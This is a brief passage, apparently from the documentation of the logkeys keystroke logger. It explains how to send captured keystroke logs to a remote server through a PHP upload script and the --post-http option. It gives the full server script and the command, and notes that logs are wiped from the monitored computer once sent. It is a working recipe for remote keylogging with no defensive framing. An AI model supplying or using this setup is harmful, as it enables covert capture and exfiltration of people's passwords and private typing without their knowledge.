A sample implementation:
-
Get some PHP web hosting, and get a domain name.
-
Upload the following PHP script, name it "upload.php"
<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
if ($file['error'] === UPLOAD_ERR_OK)
move_uploaded_file($file['tmp_name'], 'new.log');
}
?>
- Run logkeys with
--post-http=http://your.doma.in/upload.php
and it will upload log to specified URL every once it reaches--post-size
in size (default 500KB). Note, the script above will overwrite "new.log" file every time. Also note that once the log is successfully sent, it is wiped from the monitored computer.